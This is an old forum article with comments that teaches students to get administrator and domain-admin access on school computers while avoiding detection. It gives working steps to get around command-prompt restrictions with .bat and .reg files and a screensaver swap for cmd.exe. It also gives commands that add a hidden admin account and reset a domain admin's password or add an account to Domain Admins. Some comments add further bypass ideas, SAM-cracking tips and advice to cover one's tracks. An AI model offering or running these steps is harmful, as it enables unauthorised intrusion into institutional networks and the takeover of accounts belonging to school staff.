Root in Under Five
Root in Under Five
ghost | 177009 Reads | Hey everyone. This article is about hacking schools. Since any longer than five minutes, you risk getting caught, this is hopefully going to teach you how to get root in five minutes or less. So, lets get started.
- Dedicated to H4xguy *
To those of you that think by getting root, you own the school, sorry to disapoint you. But, by getting root, you only own the comp your on. There is however, a way to get domain root, which I’ll discuss later.
Your first step is to try and get access to DOS. You can start by clicking
"start>all programs>accessories>cmd" or "start>run> type in 'cmd'"
If neither of those work, create a new text document. Name it “anything.bat” right click on it and click edit. Type “cmd” save and close it. Open it. If you see a black box and are able to type, you now have dos.
If that didn’t work, instead of typing “cmd”, type
@echo off
echo hello
pause
Open it, if you see “hello”, create a new text document and name it “anything.reg”, right click and edit.
REGEDIT4
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp]
"Disabled"=dword:0
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
"DisableRegistryTools"=dword:0
This changes the registry value that blocks dos. So, type “cmd” in the .bat and see if it works. If that also didn’t work, theres still other ways.
If it didn’t work because for whatever reason, you can’t create a .bat, open up microsoft word, which I’m sure all schools have. Now, type in your commands and click “file>save as>” for the type, put “text document, and save as “anything.bat”. If that wasn’t the reason, I hope you have access to the C drive. If you do, go here “C:\Windows\system32" and create a new folder. Now, find “cmd.exe” and “scrnsave.scr” and copy them to the new folder. Goto the folder and rename “scrnsave.scr” to “scrnsaveold.scr”, and “cmd.exe” to “scrnsave.scr” And replace it with the real one in system32. Now the next time your screen saver appears, it will be full access dos. So, if you can, on the desktop, right click and select properties. Change the time to one minute. On windows xp, you may have to make sure the screensaver is “scrnsave”.
If that didn’t work, you can try the control panel, I’m not sure if you will be able to unblock dos from there or not, but you can try. If access to the control panel is disabled. Create a new folder and name it one of these. (only the {….} part)
Printers: {2227A280-3AEA-1069-A2DE-08002B30309D}
Control panel: {305CA226-D286-468e-B848-2B2E8E697B74}
Dial-up networking: {992CFFA0-F557-101A-88EC-00DD010CCC48}
Scheduled tasks: {D6277990-4C6A-11CF-8D87-00AA0060F5BF}
Folder options: {6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}
Dial-Up Networking: {992CFFA0-F557-101A-88EC-00DD010CCC48}
Scheduled tasks: {D6277990-4C6A-11CF-8D87-00AA0060F5BF}
Taskbar and startmenu: {0DF44EAA-FF21-4412-828E-260A8728E7F1}
Microsoft FTP folder {63da6ec0-2e98-11cf-8d82-444553540000}
Temporary Internet files {7BD29E00-76C1-11CF-9DD0-00A0C9034933}
ActiveX Cache folder {88C6C381-2E85-11D0-94DE-444553540000
Subscriptions folder {F5175861-2688-11d0-9C5E-00AA00A45957}
History {FF393560-C2A7-11CF-BFF4-444553540000}
Another way to get dos, is to create a prog. Uber0n has created such a program. You can find it at http://www.freewebs.com/uber0n/ You’ll need a c++ compiler.
If so far, nothing has worked. You need to crack the sam file. Pretty sure Cain & Abel has this option.
If you did get dos, it’s time to create yourself an admin acct. Type this.
@echo off
net user winsys password /add
net localgroup administrators winsys /add
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v winsys/t REG_DWORD /d 0
First Line just hides the file address and stuff. Second Line Creates the user “winsys” with the password of “password”. Third Line adds “winsys” to the administrators group. Fourth Line makes the acct “winsys” a hidden acct. If you see “The command completed successfully.” or something similiar, congragulations. You now have root. If it didn’t work, it means you have limited access dos, use the screensaver thing.
If you want domain root, you can either find the domain admin’s username and type
@echo off
net user [username] [newpassword]
That will change his/her pass. Or, if you can get on his/her comp, type this in dos.
net group "Domain Admins" [username] /add
This will add an acct to the domain admins.
Also, if you don’t have access to the C drive, or any other drive, theres a few ways to view it’s contents. You just need to be able to install programs. Google has a program called “Google Desktop” which indexes the computer and makes it searchable. Or, you can download a web browser such as Opera. In the url bar type this “file://” you should now see a list of drives. Enjoy.
Well, thats all for this article. Hope it’s understandable and enjoyable. If anyone else has anything to add, please let me know and I will add it. If anyone has any suggestion, please let me know.
ghost 15 years ago
Most of these ways will only succeed in bringing up a console, not giving you administrator privileges. And the screensaver trick hasn't worked for years.
ghost 15 years ago
im disliking the idea behind this entire article… "To those of you that think by getting root, you own the school, sorry to disappoint you. But, by getting root, you only own the comp your on. There is however, a way to get domain root, which I'll discuss later." why would you want such a status in your school network? The only purpose i can come up with is to annoy the system maintainers. Youd better set up something like virtual box and try this in.
ghost 15 years ago
good article, but totally useless now and it was useless back in 2006 when it was created, i mean come on schools hire experts to secure computers, and they don't make such dumb mistakes and holes so that you can get access, because if they did, they wouldn't be experts and they should be fired
most of schools these days give you the possibility to open cmd but it's a restricted cmd so you can't do stuff like adding users or doing a regedit
ranma 15 years ago
At first I was like sigh, this will be pretty pointless, but it turns out it's a pretty good and well-rounded one. Cheers!
deadsun 15 years ago
Just another thing to add, I'm not 100% sure y this worked but if u creat a batch file and put an infinte loop in it opening another program it will crash comp, but when the comp came back up anyone who loged in to it had full acess to control panel and everthing, it like didn't bring back up the scurity software, I know this is a very old post but just somthing to try and play with, by the way nice article even if it is a little outdated u can still use the same concepts just change it around a little bit (ps. Forgive the poor spelling\grammer)
Napoleon 13 years ago
On a limited Windows XP User Account (no other forms of security present) I get the error: System Error 5 Access Denied. :( It only works if I already have administrator privileges.
ellipsis 12 years ago
@mestar In '07, I was able to get command prompt and Windows Messaging Service just happened to be open. I net sent messages like "The matrix has you…" to every computer throughout my high school, the junior highs, and even a few computers at the administration service center. I was suspended for two weeks and my computer privileges were revoked for the remainder of the year. Teachers received an email with my school photograph with a message telling them not to allow me on a computer. So it was most certainly possible…and even though Windows Messaging Service is disabled now, you can still get a command-line. Not that having a command-line with a limited account is very useful. ; @jelmer The only reason anyone would need a command-line is to brag or show off. If they want Administrator, they could mount the hard-drive and a flashdrive, copy the SAM, and crack it when they get home. Then they might do something malicious.
dami3n 12 years ago
@ellipsis - Fail. At least the admins did there job right to avoid any further frustration.
Now did you learn a valuable lesson from this? Dont get caught use another machine or cover your tracks man :(. Im sure now you have come along way from something slightly seen as a bit foolish.